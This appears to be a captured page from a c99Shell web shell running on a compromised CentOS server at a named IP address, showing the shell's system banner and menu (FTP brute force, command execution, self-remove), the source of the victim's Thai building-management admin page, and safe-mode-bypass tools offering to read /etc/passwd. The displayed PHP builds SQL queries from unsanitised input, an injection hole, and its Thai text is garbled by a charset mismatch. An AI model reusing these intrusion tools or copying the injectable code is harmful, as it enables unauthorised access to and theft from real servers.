110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/director/ drwxr-xr-x Free 51.01 GB of 127.8 GB (39.91%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php



include("../include/FunctionDB.php");

include("../include/Function.php");

ConnectDB();

$sql ="Select * From building_tb Where BuildD_No='$BuildD_No'";

$result = mysql_query($sql) or die("Error".mysql_error());

$rs = mysql_fetch_array($result);



/**  вїЕаґНГмдїЕмаНЎКТГ */

    $Img1 = str_replace( "../", "", $rs['Img1'] );

    $doc_path = $Img1."/Man_pic";

?>

<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />

<link href="../css/default.css" rel="stylesheet" type="text/css" />

<title>MIS -- Administrator</title>

<script type="text/javascript" src="../js/utilities.js"></script>

<table width="574" border="0" align="center" cellpadding="0" cellspacing="0">

  <tr>

    <th width="574" scope="col"><form action="" method="post" name="form1" id="form1">

      

      <fieldset>

      <table width="94%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#DDDDDD" style=" border:0px solid gray"size="12">

        <tr bgcolor="#BFD0E6">

          <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>

        </tr>

        <tr bgcolor="#BFD0E6">

          <td colspan="3" bgcolor="#FFFFFF"><div align="center"><span class="style1"><font color="#999999"><strong><font color="#000000">ГТВЕРаНХВґ 

            ўйНБЩЕ КФи§ЎиНКГйТ§ 

            бЕР НТ¤ТГК¶Т№·Хи</font></font></font></span></div></td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td colspan="3" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>

        </tr>

        <tr>

          <td >   <p>&nbsp;</p>

            <p>&nbsp;</p></td>

          <td ><img src="../Man_pic/<?php echo $rs['Img1']; ?>" width="377" height="251" /></td>

          <td >&nbsp;</td>

            <td width="1%">&nbsp;</td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style2">

              <div align="left"><font face="Tahoma">аЕў·ХибєєЎиНКГйТ§</font></div>

          </div></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[BuildD_ID]?></font></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td width="18%" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style2">

              <div align="left"><font face="Tahoma">ЄЧиННТ¤ТГ</font></div>

          </div></td>

          <td width="75%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Build_name]?></font></td>

          <td width="6%" rowspan="9" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style2">

              <div align="left"><font face="Tahoma">»ГРаА·НТ¤ТГ</font></div>

          </div></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><?

                        $code = $rs [Build_type];

            $strSQL1 = "SELECT * FROM  building_type_tb   WHERE  code='$code' ";

            $result1= mysql_query($strSQL1);

                 while( $rs1 = mysql_fetch_array($result1))

                {

                echo"<option value=\"$rs1[code]\" ><b>$rs1[Type_name]</b></option>\n";

                } 

            ?></font> </td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style2">

              <div align="left"><font face="Tahoma">ЄЧиНВиННТ¤ТГ</font></div>

          </div></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Short_name]?></font></td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style2">

              <div align="left"><font face="Tahoma">ЁУ№З№ЄСй№</font></div>

          </div></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Class_unit]?></font></td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style2">

              <div align="left"><font face="Tahoma">ЁУ№З№ЛйН§</font></div>

          </div></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Room_unit]?></font></td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style2">

              <div align="left"><font face="Tahoma">»Х·ХиКГйТ§бЕйЗаКГзЁ</font></div>

          </div></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">

            <?php 

       $sday = $rs[BuildD_Yr];

    $yearthai = explode("-",$sday);

    $day =      intval($yearthai[2]);

    $month =  intval($yearthai[1]);

    $year =     intval($yearthai[0]);     

          //////////////////

 //   $yearthai =  $day ;

  $m = getThaiSubMonth($month);

     echo"$day"." "."$m"." "."$year";

    ?>

          </font></td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font face="Tahoma">ѕЧй№·Хи</font></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs[Area]?> µГБ</font></td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style2">

              <div align="left"><font face="Tahoma">ГТ¤Т/Л№иЗВ</font></div>

          </div></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"> <? echo number_format($rs['BuildD_Pr'],2,'.',',');  ?> <font color="#000000">єТ·</font></font></td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style2">

              <div align="left"><font face="Tahoma">бЛЕи§а§Ф№</font></div>

          </div></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma">  <?php

                        $MoneyS_C= $rs [MoneyS_C];

            $strSQL1 = "SELECT * FROM money_source_tb  WHere MoneyS_C='$MoneyS_C ' ";

            $result1= mysql_query($strSQL1);

                 while( $rs1 = mysql_fetch_array($result1))

                {

                echo"<option value=\"$rs1[MoneyS_C]\" ><b>$rs1[MoneyS_M]</b></option>\n";

                } 

            ?></font></td>

        </tr>

        <tr bgcolor="#eeeeee">

          <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="left"><font size="2" face="Tahoma">ГТВЕРаНХВґ</font></div></td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo nl2br($rs[Description])?></font> </td>

          <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>

        </tr>

        <tr bgcolor="#BFD0E6">

          <td height="20" colspan="3" bgcolor="#FFFFFF"><div align="center">

            <input type="button" name="Submit2" value=" »ФґЛ№йТµиТ§" onclick="javascript:parent.close();" class="button1" />

          </div></td>

        </tr>

      </table>

      </fieldset>         

    </form></th>

  </tr>

</table>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: